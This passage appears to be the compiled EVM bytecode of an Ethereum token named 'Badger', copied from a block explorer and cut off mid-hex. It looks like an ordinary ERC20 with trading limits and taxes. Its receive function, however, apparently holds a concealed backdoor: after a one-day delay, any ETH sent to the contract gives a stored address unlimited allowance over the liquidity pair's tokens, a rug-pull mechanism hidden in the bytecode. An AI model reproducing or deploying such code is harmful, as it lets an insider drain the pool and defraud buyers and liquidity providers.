548261146b85610738565b6114759190611e75565b11156114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad906129bf565b60405180910390fd5b600e5f8154809291906114c8906129dd565b91905055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561155657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561159a576115976064611589600c54600e54116115765760085461157a565b600a545b85611c6090919063ffffffff16565b611cd790919063ffffffff16565b90505b5f6115a430610738565b905060158054906101000a900460ff1615801561160d575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116255750601560169054906101000a900460ff165b8015611632575060125481115b80156116415750600d54600e54115b1561167b5761166361165e8461165984601354611d20565b611d20565b61198f565b5f4790505f8111156116795761167847611bf8565b5b505b505b5f81111561177c576116d58160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611773919061205a565b60405180910390a35b6117cc8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061186f6118238284611d9590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119128486611d9590919063ffffffff16565b60405161191f919061205a565b60405180910390a350505050565b5f838311158290611974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196b9190611f32565b60405180910390fd5b505f83856119829190612a24565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119c5576119c4612a57565b5b6040519080825280602002602001820160405280156119f35781602001602082028036833780820191505090505b50905030815f81518110611a0a57611a09612a84565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ad29190612ac5565b81600181518110611ae657611ae5612a84565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b4c3060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610df6565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bae959493929190612ba7565b5f604051808303815f87803b158015611bc5575f80fd5b505af1158015611bd7573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c5c573d5f803e3d5ffd5b5050565b5f808303611c70575f9050611cd1565b5f8284611c7d9190612301565b9050828482611c8c9190612c2c565b14611ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc390612ccc565b60405180910390fd5b809150505b92915050565b5f611d1883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dde565b905092915050565b5f818311611d2e5782611d30565b815b905092915050565b5f808284611d469190611e75565b905083811015611d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8290612d34565b60405180910390fd5b8091505092915050565b5f611dd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061192d565b905092915050565b5f8083118290611e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1b9190611f32565b60405180910390fd5b505f8385611e329190612c2c565b9050809150509392505050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e7f82611e3f565b9150611e8a83611e3f565b9250828201905080821115611ea257611ea1611e48565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611edf578082015181840152602081019050611ec4565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611f0482611ea8565b611f0e8185611eb2565b9350611f1e818560208601611ec2565b611f2781611eea565b840191505092915050565b5f6020820190508181035f830152611f4a8184611efa565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f7f82611f56565b9050919050565b611f8f81611f75565b8114611f99575f80fd5b50565b5f81359050611faa81611f86565b92915050565b611fb981611e3f565b8114611fc3575f80fd5b50565b5f81359050611fd481611fb0565b92915050565b5f8060408385031215611ff057611fef611f52565b5b5f611ffd85828601611f9c565b925050602061200e85828601611fc6565b9150509250929050565b5f8115159050919050565b61202c81612018565b82525050565b5f6020820190506120455f830184612023565b92915050565b61205481611e3f565b82525050565b5f60208201905061206d5f83018461204b565b92915050565b5f805f6060848603121561208a57612089611f52565b5b5f61209786828701611f9c565b93505060206120a886828701611f9c565b92505060406120b986828701611fc6565b9150509250925092565b5f60ff82169050919050565b6120d8816120c3565b82525050565b5f6020820190506120f15f8301846120cf565b92915050565b5f6020828403121561210c5761210b611f52565b5b5f61211984828501611f9c565b91505092915050565b61212b81611f75565b82525050565b5f6020820190506121445f830184612122565b92915050565b5f80604083850312156121605761215f611f52565b5b5f61216d85828601611f9c565b925050602061217e85828601611f9c565b9150509250929050565b5f8160011c9050919050565b5f808291508390505b60018511156121dd578086048111156121b9576121b8611e48565b5b60018516156121c85780820291505b80810290506121d685612188565b945061219d565b94509492505050565b5f826121f557600190506122b0565b81612202575f90506122b0565b8160018114612218576002811461222257612251565b60019150506122b0565b60ff84111561223457612233611e48565b5b8360020a91508482111561224b5761224a611e48565b5b506122b0565b5060208310610133831016604e8410600b84101617156122865782820a90508381111561228157612280611e48565b5b6122b0565b6122938484846001612194565b925090508184048111156122aa576122a9611e48565b5b81810290505b9392505050565b5f6122c182611e3f565b91506122cc836120c3565b92506122f97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846121e6565b905092915050565b5f61230b82611e3f565b915061231683611e3f565b925082820261232481611e3f565b9150828204841483151761233b5761233a611e48565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612376602083611eb2565b915061238182612342565b602082019050919050565b5f6020820190508181035f8301526123a38161236a565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6123de601783611eb2565b91506123e9826123aa565b602082019050919050565b5f6020820190508181035f83015261240b816123d2565b9050919050565b5f819050919050565b5f819050919050565b5f61243e61243961243484612412565b61241b565b611e3f565b9050919050565b61244e81612424565b82525050565b5f60c0820190506124675f830189612122565b612474602083018861204b565b6124816040830187612445565b61248e6060830186612445565b61249b6080830185612122565b6124a860a083018461204b565b979650505050505050565b5f815190506124c181611fb0565b92915050565b5f805f606084860312156124de576124dd611f52565b5b5f6124eb868287016124b3565b93505060206124fc868287016124b3565b925050604061250d868287016124b3565b9150509250925092565b5f60408201905061252a5f830185612122565b612537602083018461204b565b9392505050565b61254781612018565b8114612551575f80fd5b50565b5f815190506125628161253e565b92915050565b5f6020828403121561257d5761257c611f52565b5b5f61258a84828501612554565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6125ed602483611eb2565b91506125f882612593565b604082019050919050565b5f6020820190508181035f83015261261a816125e1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61267b602283611eb2565b915061268682612621565b604082019050919050565b5f6020820190508181035f8301526126a88161266f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612709602583611eb2565b9150612714826126af565b604082019050919050565b5f6020820190508181035f830152612736816126fd565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612797602383611eb2565b91506127a28261273d565b604082019050919050565b5f6020820190508181035f8301526127c48161278b565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612825602983611eb2565b9150612830826127cb565b604082019050919050565b5f6020820190508181035f83015261285281612819565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f6128d9604983611eb2565b91506128e482612859565b606082019050919050565b5f6020820190508181035f830152612906816128cd565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612941601983611eb2565b915061294c8261290d565b602082019050919050565b5f6020820190508181035f83015261296e81612935565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f6129a9601a83611eb2565b91506129b482612975565b602082019050919050565b5f6020820190508181035f8301526129d68161299d565b9050919050565b5f6129e782611e3f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612a1957612a18611e48565b5b600182019050919050565b5f612a2e82611e3f565b9150612a3983611e3f565b9250828203905081811115612a5157612a50611e48565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050612abf81611f86565b92915050565b5f60208284031215612ada57612ad9611f52565b5b5f612ae784828501612ab1565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612b2281611f75565b82525050565b5f612b338383612b19565b60208301905092915050565b5f602082019050919050565b5f612b5582612af0565b612b5f8185612afa565b9350612b6a83612b0a565b805f5b83811015612b9a578151612b818882612b28565b9750612b8c83612b3f565b925050600181019050612b6d565b5085935050505092915050565b5f60a082019050612bba5f83018861204b565b612bc76020830187612445565b8181036040830152612bd98186612b4b565b9050612be86060830185612122565b612bf5608083018461204b565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612c3682611e3f565b9150612c4183611e3f565b925082612c5157612c50612bff565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f612cb6602183611eb2565b9150612cc182612c5c565b604082019050919050565b5f6020820190508181035f830152612ce381612caa565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612d1e601b83611eb2565b9150612d2982612cea565b602082019050919050565b5f6020820190508181035f830152612d4b81612d12565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122095b6ead38e4a4852d0058e23947d88ceeaf7c9c30867a6edbe5fd6ddafebd58164736f6c63430008140033000000000000000000000000027a16744af223fe5bdcbf578ae555c7286721a6

Deployed Bytecode

0x608060405260043610610117575f3560e01c8063751039fc1161009f578063a9059cbb11610063578063a9059cbb14610460578063bf474bed1461049c578063c876d0b9146104c6578063c9567bf9146104f0578063dd62ed3e1461050657610216565b8063751039fc146103a25780637d1db4a5146103b85780638da5cb5b146103e25780638f9a55c01461040c57806395d89b411461043657610216565b806323b872dd116100e657806323b872dd146102d4578063313ce5671461031057806351bc3c851461033a57806370a0823114610350578063715018a61461038c57610216565b806306fdde031461021a578063095ea7b3146102445780630faee56f1461028057806318160ddd146102aa57610216565b366102165762015180600f5461012d9190611e75565b421115610214577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60025f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b005b5f80fd5b348015610225575f80fd5b5061022e610542565b60405161023b9190611f32565b60405180910390f35b34801561024f575f80fd5b5061026a60048036038101906102659190611fda565b61057f565b6040516102779190612032565b60405180910390f35b34801561028b575f80fd5b5061029461059c565b6040516102a1919061205a565b60405180910390f35b3480156102b5575f80fd5b506102be6105a2565b6040516102cb919061205a565b60405180910390f35b3480156102df575f80fd5b506102fa60048036038101906102f59190612073565b6105c5565b6040516103079190612032565b60405180910390f35b34801561031b575f80fd5b50610324610699565b60405161033191906120de565b60405180910390f35b348015610345575f80fd5b5061034e6106a1565b005b34801561035b575f80fd5b50610376600480360381019061037191906120f7565b610738565b604051610383919061205a565b60405180910390f35b348015610397575f80fd5b506103a061077e565b005b3480156103ad575f80fd5b506103b66108cc565b005b3480156103c3575f80fd5b506103cc610a15565b6040516103d9919061205a565b60405180910390f35b3480156103ed575f80fd5b506103f6610a1b565b6040516104039190612131565b60405180910390f35b348015610417575f80fd5b50610420610a42565b60405161042d919061205a565b60405180910390f35b348015610441575f80fd5b5061044a610a48565b6040516104579190611f32565b60405180910390f35b34801561046b575f80fd5b5061048660048036038101906104819190611fda565b610a85565b6040516104939190612032565b60405180910390f35b3480156104a7575f80fd5b506104b0610aa2565b6040516104bd919061205a565b60405180910390f35b3480156104d1575f80fd5b506104da610aa8565b6040516104e79190612032565b60405180910390f35b3480156104fb575f80fd5b50610504610abb565b005b348015610511575f80fd5b5061052c6004803603810190610527919061214a565b610d6d565b604051610539919061205a565b60405180910390f35b60606040518060400160405280600681526020017f4261646765720000000000000000000000000000000000000000000000000000815250905090565b5f61059261058b610def565b8484610df6565b6001905092915050565b60135481565b5f6009600a6105b191906122b7565b633b9aca006105c09190612301565b905090565b5f6105d1848484610fb9565b61068e846105dd610def565b61068985604051806060016040528060288152602001612d536028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610640610def565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461192d9092919063ffffffff16565b610df6565b600190509392505050565b5f6009905090565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106e1610def565b73ffffffffffffffffffffffffffffffffffffffff1614610700575f80fd5b5f61070a30610738565b90505f81111561071e5761071d8161198f565b5b5f4790505f8111156107345761073381611bf8565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610786610def565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610812576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108099061238c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6108d4610def565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109579061238c565b60405180910390fd5b6009600a61096e91906122b7565b633b9aca0061097d9190612301565b6010819055506009600a61099191906122b7565b633b9aca006109a09190612301565b6011819055505f600560146101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a6109ef91906122b7565b633b9aca006109fe9190612301565b604051610a0b919061205a565b60405180910390a1565b60105481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b60606040518060400160405280600681526020017f4241444745520000000000000000000000000000000000000000000000000000815250905090565b5f610a98610a91610def565b8484610fb9565b6001905092915050565b60125481565b600560149054906101000a900460ff1681565b610ac3610def565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b469061238c565b60405180910390fd5b601560149054906101000a900460ff1615610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b96906123f4565b60405180910390fd5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610be730610738565b5f80610bf1610a1b565b426040518863ffffffff1660e01b8152600401610c1396959493929190612454565b60606040518083038185885af1158015610c2f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c5491906124c7565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610cf4929190612517565b6020604051808303815f875af1158015610d10573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d349190612568565b506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5b90612603565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ed2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec990612691565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fac919061205a565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101e9061271f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611095576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108c906127ad565b60405180910390fd5b5f81116110d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ce9061283b565b60405180910390fd5b5f6110e0610a1b565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561114e575061111e610a1b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561167d5761118f6064611181600b54600e541161116e57600754611172565b6009545b85611c6090919063ffffffff16565b611cd790919063ffffffff16565b9050600560149054906101000a900460ff16156113185760145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611250575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611317574360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb906128ef565b60405180910390fd5b4360045f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156113c1575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611414575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156114ce5760105482111561145e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145590612957565b60405180910390fd5b6011548261146b85610738565b6114759190611e75565b11156114b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ad906129bf565b60405180910390fd5b600e5f8154809291906114c8906129dd565b91905055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561155657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561159a576115976064611589600c54600e54116115765760085461157a565b600a545b85611c6090919063ffffffff16565b611cd790919063ffffffff16565b90505b5f6115a430610738565b905060158054906101000a900460ff1615801561160d575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156116255750601560169054906101000a900460ff165b8015611632575060125481115b80156116415750600d54600e54115b1561167b5761166361165e8461165984601354611d20565b611d20565b61198f565b5f4790505f8111156116795761167847611bf8565b5b505b505b5f81111561177c576116d58160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3890919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611773919061205a565b60405180910390a35b6117cc8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d9590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061186f6118238284611d9590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611d3890919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6119128486611d9590919063ffffffff16565b60405161191f919061205a565b60405180910390a350505050565b5f838311158290611974576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196b9190611f32565b60405180910390fd5b505f83856119829190612a24565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156119c5576119c4612a57565b5b6040519080825280602002602001820160405280156119f35781602001602082028036833780820191505090505b50905030815f81518110611a0a57611a09612a84565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aae573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ad29190612ac5565b81600181518110611ae657611ae5612a84565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611b4c3060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610df6565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611bae959493929190612ba7565b5f604051808303815f87803b158015611bc5575f80fd5b505af1158015611bd7573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611c5c573d5f803e3d5ffd5b5050565b5f808303611c70575f9050611cd1565b5f8284611c7d9190612301565b9050828482611c8c9190612c2c565b14611ccc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc390612ccc565b60405180910390fd5b809150505b92915050565b5f611d1883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dde565b905092915050565b5f818311611d2e5782611d30565b815b905092915050565b5f808284611d469190611e75565b905083811015611d8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8290612d34565b60405180910390fd5b8091505092915050565b5f611dd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061192d565b905092915050565b5f8083118290611e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1b9190611f32565b60405180910390fd5b505f8385611e329190612c2c565b9050809150509392505050565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611e7f82611e3f565b9150611e8a83611e3f565b9250828201905080821115611ea257611ea1611e48565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611edf578082015181840152602081019050611ec4565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611f0482611ea8565b611f0e8185611eb2565b9350611f1e818560208601611ec2565b611f2781611eea565b840191505092915050565b5f6020820190508181035f830152611f4a8184611efa565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611f7f82611f56565b9050919050565b611f8f81611f75565b8114611f99575f80fd5b50565b5f81359050611faa81611f86565b92915050565b611fb981611e3f565b8114611fc3575f80fd5b50565b5f81359050611fd481611fb0565b92915050565b5f8060408385031215611ff057611fef611f52565b5b5f611ffd85828601611f9c565b925050602061200e85828601611fc6565b9150509250929050565b5f8115159050919050565b61202c81612018565b82525050565b5f6020820190506120455f830184612023565b92915050565b61205481611e3f565b82525050565b5f60208201905061206d5f83018461204b565b92915050565b5f805f6060848603121561208a57612089611f52565b5b5f61209786828701611f9c565b93505060206120a886828701611f9c565b92505060406120b986828701611fc6565b9150509250925092565b5f60ff82169050919050565b6120d8816120c3565b82525050565b5f6020820190506120f15f8301846120cf565b92915050565b5f6020828403121561210c5761210b611f52565b5b5f61211984828501611f9c565b91505092915050565b61212b81611f75565b82525050565b5f6020820190506121445f830184612122565b92915050565b5f80604083850312156121605761215f611f52565b5b5f61216d85828601611f9c565b925050602061217e85828601611f9c565b9150509250929050565b5f8160011c9050919050565b5f808291508390505b60018511156121dd578086048111156121b9576121b8611e48565b5b60018516156121c85780820291505b80810290506121d685612188565b945061219d565b94509492505050565b5f826121f557600190506122b0565b81612202575f90506122b0565b8160018114612218576002811461222257612251565b60019150506122b0565b60ff84111561223457612233611e48565b5b8360020a91508482111561224b5761224a611e48565b5b506122b0565b5060208310610133831016604e8410600b84101617156122865782820a90508381111561228157612280611e48565b5b6122b0565b6122938484846001612194565b925090508184048111156122aa576122a9611e48565b5b81810290505b9392505050565b5f6122c182611e3f565b91506122cc836120c3565b92506122f97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846121e6565b905092915050565b5f61230b82611e3f565b915061231683611e3f565b925082820261232481611e3f565b9150828204841483151761233b5761233a611e48565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612376602083611eb2565b915061238182612342565b602082019050919050565b5f6020820190508181035f8301526123a38161236a565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6123de601783611eb2565b91506123e9826123aa565b602082019050919050565b5f6020820190508181035f83015261240b816123d2565b9050919050565b5f819050919050565b5f819050919050565b5f61243e61243961243484612412565b61241b565b611e3f565b9050919050565b61244e81612424565b82525050565b5f60c0820190506124675f830189612122565b612474602083018861204b565b6124816040830187612445565b61248e6060830186612445565b61249b6080830185612122565b6124a860a083018461204b565b979650505050505050565b5f815190506124c181611fb0565b92915050565b5f805f606084860312156124de576124dd611f52565b5b5f6124eb868287016124b3565b93505060206124fc868287016124b3565b925050604061250d868287016124b3565b9150509250925092565b5f60408201905061252a5f830185612122565b612537602083018461204b565b9392505050565b61254781612018565b8114612551575f80fd5b50565b5f81519050612